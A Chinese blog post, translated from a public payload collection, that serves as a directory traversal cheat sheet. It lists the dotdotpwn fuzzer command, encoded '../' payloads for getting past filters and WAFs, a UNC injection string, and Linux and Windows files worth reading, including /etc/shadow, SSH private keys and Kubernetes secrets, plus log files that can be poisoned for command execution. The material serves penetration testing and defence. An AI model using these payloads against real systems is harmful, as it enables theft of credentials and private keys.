首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >目录遍历漏洞备忘录

目录遍历漏洞备忘录

作者头像
Power7089
发布2019-07-25 16:56:18
1.9K0
发布2019-07-25 16:56:18
举报

目录遍历

路径或目录遍历漏洞指的是利用对用户输入检测性不足,而导致“可遍历到父目录”的字符串被传递到api中。

总览

工具

基本利用方法

16位Unicode编码

UTF-8 Unicode编码

绕过 "../" 被替换成 ""

双重URL编码

绕过UNC

可遍历的路径

一些Linux下有趣的文件

一些Windows下有趣的文件

工具

dotdotpwn - 目录遍历模糊测试工具

Github地址:
https://github.com/wireghoul/dotdotpwn

获取方法:
git clone https://github.com/wireghoul/dotdotpwn

执行命令:
perl dotdotpwn.pl -h 10.10.10.10 -m ftp -t 300 -f /etc/shadow -s -q -b

基本利用方法

我们可以使用..字符去访问父目录,下面的字符串是几种编码格式,可以帮你绕过比较差的过滤器。

../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
16位Unicode编码
. = %u002e
/ = %u2215
\ = %u2216
UTF-8 Unicode编码
. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c
绕过 "../" 被替换成 ""

有时会遇见WAF,它会删除../字符串

..././
...\.\
双重URL编码
. = %252e
/ = %252f
\ = %255c
绕过UNC

攻击者可以将Windows UNC共享('\UNC\share\name')注入到软件系统中,以潜在地重定向对非预期位置或任意文件的访问。

\\localhost\c$\windows\win.ini

可遍历的路径

一些Linux下有趣的文件
/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]*  (第一个数字是PID,第二个数字是文件描述符) 
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/self/cwd/index.php
/proc/self/cwd/main.py
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/var/run/secrets/kubernetes.io/serviceaccount
一些Windows下有趣的文件

Windows下一些值得我们检查的文件, 来自Github: https://github.com/soffensive/windowsblindread/blob/master/windows-files.txt

c:/boot.ini
c:/inetpub/logs/logfiles
c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp
c:/inetpub/wwwroot/web.config
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system32/inetsrv/metabase.xml
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system volume information/wpsettings.dat
c:/system32/inetsrv/metabase.xml
c:/unattend.txt
c:/unattend.xml
c:/unattended.txt
c:/unattended.xml

以下日志文件是可控制的,可以包含在恶意负载中以实现命令执行

/var/log/apache/access.log
/var/log/apache/error.log
/var/log/httpd/error_log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail
翻译来自:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Directory%20Traversal/README.md
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-07-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 小白帽学习之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 工具
  • 基本利用方法
    • 16位Unicode编码
      • UTF-8 Unicode编码
        • 绕过 "../" 被替换成 ""
          • 双重URL编码
            • 绕过UNC
            • 可遍历的路径
              • 一些Linux下有趣的文件
                • 一些Windows下有趣的文件
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档